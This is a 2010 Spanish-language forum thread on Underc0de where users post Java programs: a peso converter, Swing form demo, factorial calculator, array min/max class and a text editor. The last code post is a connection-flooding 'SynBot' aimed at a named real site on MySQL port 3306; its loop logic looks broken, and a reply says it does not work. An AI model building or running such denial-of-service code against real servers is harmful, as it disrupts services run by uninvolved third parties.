Underc0de

Programación General => Java => Mensaje iniciado por: ProcessKill en Febrero 24, 2010, 04:29:13 PM

Título: Nuestros programas en Java
Publicado por: ProcessKill en Febrero 24, 2010, 04:29:13 PM
este post es para ke pongàmos nuestros programas en java

espero ke K4IS3R tambien ponga los suyos

aki uno ke hice rapido

convierte la moneda de pesos mexicanos a diferentes monedas


Código (java) [Seleccionar]
import javax.swing.*;

public class Conversion {

public static void main (String args []){


double pesos,dollar,euro,libra,bf,yen,yuan;
String cantidad1;

cantidad1 = JOptionPane.showInputDialog("INTRODUCE LA QUANTITÉ EN PESOS MEXICANOS");

pesos = Double.parseDouble(cantidad1);

dollar = pesos / 13.1;

euro = pesos / 18.3742;

libra = pesos / 20.7721;

bf = pesos / 149;

yen = pesos / 0.1584;

yuan = pesos / 2.1;

JOptionPane.showMessageDialog(null,+pesos +" PESOS MEXICANOS EKIVALEN A:\n"+"\nDOLARES: "+dollar +" \nEURO: "+euro
+"\nLIBRAS: "+libra + "\nBF: "+bf+ " \nYEN: "+yen +" \nYUAN: "+yuan);


}//fin del metodo main



}//fin de la clase Conversion


algo muy sencillo

salu2


un pekeño ejemplo de interfaz en java

Código (java) [Seleccionar]
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;



public class Interfaz extends JFrame{

private JTextField campo1,campo2,campo3;
private JPasswordField contra;

public Interfaz(){

super("INTERFAZ");

Container contenedor = getContentPane();
contenedor.setLayout(new FlowLayout());


campo1 = new JTextField(10);
campo1.setToolTipText("CAMPO");
contenedor.add(campo1);

campo2 = new JTextField("CAMPO EDITABLE");
campo2.setToolTipText("CAMPO EDITABLE");
contenedor.add(campo2);

campo3 = new JTextField("CAMPO NO EDITABLE");
campo3.setToolTipText("CAMPO NO EDITABLE");
campo3.setEditable(false);
contenedor.add(campo3);

contra = new JPasswordField("CONTRASEÑA");
contra.setToolTipText("CAMPO OCULTO");
contenedor.add(contra);


Manejador evento = new Manejador();
campo1.addActionListener(evento);
campo2.addActionListener(evento);
campo3.addActionListener(evento);
contra.addActionListener(evento);

setSize(300,100);
setVisible(true);

}//fin del consructor Interfaz


public static void main(String args[]){

Interfaz aplicacion = new Interfaz();
aplicacion.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);


}//fin de la clase main


private class Manejador implements ActionListener{

public void actionPerformed (ActionEvent evento){


String cadena = "";

if(evento.getSource()==campo1)
cadena = "CAMPO1: "+evento.getActionCommand();

if(evento.getSource()==campo2)
cadena = "CAMPO2: "+evento.getActionCommand();

if(evento.getSource()==campo3)
cadena = "CAMPO3: "+evento.getActionCommand();

if(evento.getSource()==contra)
cadena = "CONTRASEÑA: "+evento.getActionCommand();


JOptionPane.showMessageDialog(null, cadena);



}




}//fin de la clase Manejador





}//fin de la clase Interfaz


Calcular el factorial de un numero

Código (java) [Seleccionar]
import javax.swing.*;


public class Factorial{

public static void main (String args []){

int num,cont,fact=1;
String num1;

num1 = JOptionPane.showInputDialog("INTRODUCE UN NUMERO");
num = Integer.parseInt(num1);

for(cont=1; cont<=num;cont++){


fact=fact*cont;


}


JOptionPane.showMessageDialog(null, "EL FACTORIAL CUIJA ESSSSS: \n"+fact);


}
Título: Re:Nuestros programas en Java
Publicado por: Devilboy en Abril 04, 2010, 03:32:58 PM
Aqui otro muy sencillo, calcula el mayor y menor numeros de un arreglo usando Poo

Código (java) [Seleccionar]
class Prueba{


int mayor(int x[]){
int m=x[0];

for(int i=0;i<x.length;i++){

if(x[i]>m)m=x[i];


}

return m;



}



int menor(int x[]){
int m=x[0];

for(int i=0;i<x.length;i++){

if(x[i]<m)m=x[i];


}

return m;



}




}

public class Poo{

public static void main(String args[]){

int array[]={133,88,3,4,5};



Prueba prueba=new Prueba();

System.out.println("el mayor es: "+prueba.mayor(array)+"\nY el Menor es: "+prueba.menor(array));


}


}




La salida es esta:

el mayor es: 133
Y el Menor es: 3
Título: Re:Nuestros programas en Java
Publicado por: Black Poison en Julio 09, 2010, 04:27:11 PM
un Editor de Texto :p

(http://img685.imageshack.us/img685/2307/dibujocw.png)

Código (java) [Seleccionar]
// By Black Poison

import java.awt.*;

import javax.swing.*;

import java.awt.event.*;
import java.io.*;

public class programa extends JFrame {

private static final long serialVersionUID = 1L;

   
    BorderLayout borderLayout1 = new BorderLayout();
    JPanel panel = new JPanel();
    JMenuBar barraDeMenu = new JMenuBar();
    JMenu archivo = new JMenu();

    JTextArea areaDeTexto = new JTextArea();
    JScrollPane scrollPane = new JScrollPane();
    JFileChooser jfc = new JFileChooser();
   
   
   
    JMenuItem archivo_Nuevo = new JMenuItem();
    JMenuItem archivo_Abrir = new JMenuItem();
    JMenuItem archivo_Guardar = new JMenuItem();
    JMenuItem archivo_GuardarComo = new JMenuItem();
    JMenuItem archivo_Salir = new JMenuItem();
   

   
 
    @SuppressWarnings("deprecation")
public programa() {
    panel.setLayout(borderLayout1);
    super.setTitle("Editor De Textos By Black Poison");
   
    archivo.setText("Archivo");
    archivo_Nuevo.setText("Nuevo");
    archivo_Abrir.setText("Abrir");
    archivo_Guardar.setText("Guardar");
    archivo_GuardarComo.setText("Guardar como...");
    archivo_Salir.setText("Salir");

 
   

   
 

    barraDeMenu.add(archivo);
   
 
   
   
    archivo.add(archivo_Nuevo);
    archivo.add(archivo_Abrir);
    archivo.add(archivo_Guardar);
    archivo.add(archivo_GuardarComo);
    archivo.add(archivo_Salir);
   

   
     
    this.setJMenuBar(barraDeMenu);
    this.getContentPane().add(panel, BorderLayout.CENTER);
    this.getContentPane().setPreferredSize(new Dimension(400,400));
    this.getContentPane().add(scrollPane, BorderLayout.CENTER);
    scrollPane.getViewport().add(areaDeTexto, null);
     
   
    archivo_Nuevo.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent e) {
            areaDeTexto.setText("");
        }
    });
   
   
    archivo_Abrir.addActionListener(new ActionListener() {
        @SuppressWarnings("static-access")
public void actionPerformed(ActionEvent e) {
            if(e.getSource() == archivo_Abrir) {
                int abroArchivo = jfc.showOpenDialog(programa.this);
           
               
               
                if(abroArchivo == jfc.APPROVE_OPTION) {
                    File archivo = jfc.getSelectedFile();
                    FileInputStream miArchivo;
                    int sizeArchivo = Long.valueOf(archivo.length()).intValue();
                        byte archivoALeer[]= new byte[sizeArchivo];
                    try {
                        miArchivo = new FileInputStream(archivo.getPath());
                        miArchivo.read(archivoALeer);
                        areaDeTexto.append(new String(archivoALeer));
                        miArchivo.close();
                    }
                   
                    catch(IOException ex)
                    {
                        System.out.println("Error : "+ex.getMessage());
                    }
                }
               
                areaDeTexto.setCaretPosition(areaDeTexto.getDocument().getLength());
            }
        }
    });

    archivo_Guardar.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent e) {
            File archivo = jfc.getSelectedFile();
            FileOutputStream miArchivo;
            String contenidoTexto = new String();
            try {
                miArchivo = new FileOutputStream(archivo.getPath());
                contenidoTexto = areaDeTexto.getText();
                miArchivo.write(contenidoTexto.getBytes());
                miArchivo.close();
            }
            catch(IOException ex) {
                System.out.println("Error : "+ex.getMessage());
            }
        }
    });
   
   
   
    archivo_GuardarComo.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent e) {
            if(e.getSource() == archivo_GuardarComo) {
                int guardoArchivo = jfc.showSaveDialog(programa.this);
               
                if(guardoArchivo == JFileChooser.APPROVE_OPTION) {
                    File archivo = jfc.getSelectedFile();
                    FileOutputStream miArchivo;
                    String contenidoTexto = new String();
                    try {
                        miArchivo = new FileOutputStream(archivo.getPath());
                        contenidoTexto = new String(areaDeTexto.getText());
                        miArchivo.write(contenidoTexto.getBytes());
                        miArchivo.close();
                    }
                    catch(IOException ex) {
                        System.out.println("Error : "+ex.getMessage());
                    }
                }
            }
        }
    });
   
   
    archivo_Salir.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent e) {
            System.exit(0);
        }
    });
   
   
   
    super.pack();
   
   
    super.show();
    }
    public static void main(String argv[]) {
        new programa();
    }
   
   
}

Título: Re:Nuestros programas en Java
Publicado por: Cr4z1 en Julio 12, 2010, 10:47:50 PM
Un flooder:

Código (java) [Seleccionar]
/////////////////////////////////////////////

/**

* @author Cr4z1

* @revision 1.0

* Yay for table of contents

* <h1>Sector 1</h1>

* <p>Yay for variables declaration</p>

* <h1>Sector 2</h1>

* <p>Yay for Bot constructors</p>

* <h1>Sector 3</h1>

* <p>Getters and setterz pls?</p>

* Cba with moar headers sector 4 is for main methods

*/



import java.net.Socket;



public class SynBot extends Thread implements Runnable {

    /**

     * To check if we're debugging or not.

     */

    public Boolean debugging = true;



    /**

     * The thread we're using to attack.

     */

    public Thread threadBot = new Thread(this);



    /**

     * The current state of if we're flooding or not

     */

    public Boolean flooding = false;



    /**

     * The bot state, see getBotStates(); for more info.

     */

    public Integer botState = 0;



    /**

     * The number of connections we're sending per bot.

     */

    public Integer connections = 1000;



    /**

     * The default url that we're going to attack, currently rune-server, dumb

     * bitches.

     */

    private String currentUrl = "www.rune-server.org";



    /**

     * The default port if none is chosen, currently MySQL.

     */

    private Integer currentPort = 3306;



    /**

     * The config state of the bot, false = not set, true = set.

     */

    private boolean configState = false;



    /**

     * Attacks the default Server with a specified port.

     *

     * @param port

     *                The port we're attacking with the bots. (Hint: MySQL is

     *                3306)

     */

    public SynBot(String server, Integer port, Integer connections,

            Boolean debugging) {

        this.setConfig(server, port, connections, debugging);

        this.threadBot.start();

        this.setBotState(1);

        try {

            this.setBotState(2);

            while (this.getBotState() == 3 || this.getFlooding()) {

                this.setBotState(3);

                for (int i = 0; i < this.getConnections(); i++) {

                    Socket serverSocket = new Socket(this.getServer(), this

                            .getPort());

                    serverSocket.getOutputStream().write("how do i syn flood site?".getBytes());

                    if (this.getDebug())

                        System.out.println("Server socket connected.");

                }

            }

        } catch (Exception e) {

            this.setBotState(0);

            this.setFlooding(false);

        }

    }



    /**

     * Getters and setters from this point down.

     */



    /*

     * ----------------------------------------;

     */



    /**

     * Sets the current port for the session.

     *

     * @param port

     *                The specified port we're setting.

     */

    public void setPort(Integer port) {

        this.currentPort = port;

    }



    /**

     * The number of connections we're sending p/ bot.

     *

     * @return The connections

     */

    public Integer getConnections() {

        return this.connections;

    }



    /**

     * Setting the number of connections we're going to send p/ bot

     *

     * @param syn_conn

     *                The number of connections we're sending.

     */

    public void setConnections(Integer syn_conn) {

        this.connections = syn_conn;

    }



    /**

     * Returns the current port we're targeting/planning to target

     *

     * @return The current port

     */

    public Integer getPort() {

        return this.currentPort;

    }



    /**

     * Sets the server we're going to attack.

     *

     * @param url

     *                The url we're setting

     */

    public void setServer(String url) {

        this.currentUrl = url;

    }



    /**

     * Gets our current server and returns it

     *

     * @return The current server

     */

    public String getServer() {

        return this.currentUrl;

    }



    /**

     * Gets the state that the bot is in

     *

     * @return The bot state

     */

    public Integer getBotState() {

        return this.botState;

    }



    /**

     * Sets the state of the bot<br />

     * <b> 0-Nothing, 1-Starting, 2-Pending Connection, 3-Attacking</b>

     *

     * @param botState1

     *                The state of the bot we're attacking.

     */

    public void setBotState(Integer botState1) {

        this.botState = botState1;

    }



    /**

     * Returns if we're flooding or not

     *

     * @return Flooding?

     */

    public boolean getFlooding() {

        return this.flooding;

    }



    /**

     * Sets the current state of flooding

     *

     * @param flooding1

     *                Flooding? Well, are we...? Idiot

     */

    public void setFlooding(Boolean flooding1) {

        this.flooding = flooding1;

    }



    /**

     * Gets the state of debugging.

     *

     * @return If we're debugging or not.

     */

    public Boolean getDebug() {

        return this.debugging;

    }



    /**

     * Sets if we're debugging.

     *

     * @param debug

     *                Debugging or not.

     */

    public void setDebug(Boolean debug) {

        this.debugging = debug;

    }



    public void setConfig(String server, Integer port, Integer connections,

            Boolean debugging) {

        this.setServer(server);

        this.setPort(port);

        this.setConnections(connections);

        this.setDebug(debugging);

        this.setConfigState(true);

    }



    public void setConfigState(Boolean config) {

        this.configState = config;

    }



    public void run() {

        System.out.println("Synflood is running");

        for (;;) {

            if (this.getBotState() == 3 && !this.getFlooding())

                this.setBotState(0);

        }

    }

}

/////////////////////////////////
Título: Re:Nuestros programas en Java
Publicado por: 303010 en Julio 12, 2010, 11:35:40 PM
lo del fooder no me funca. :/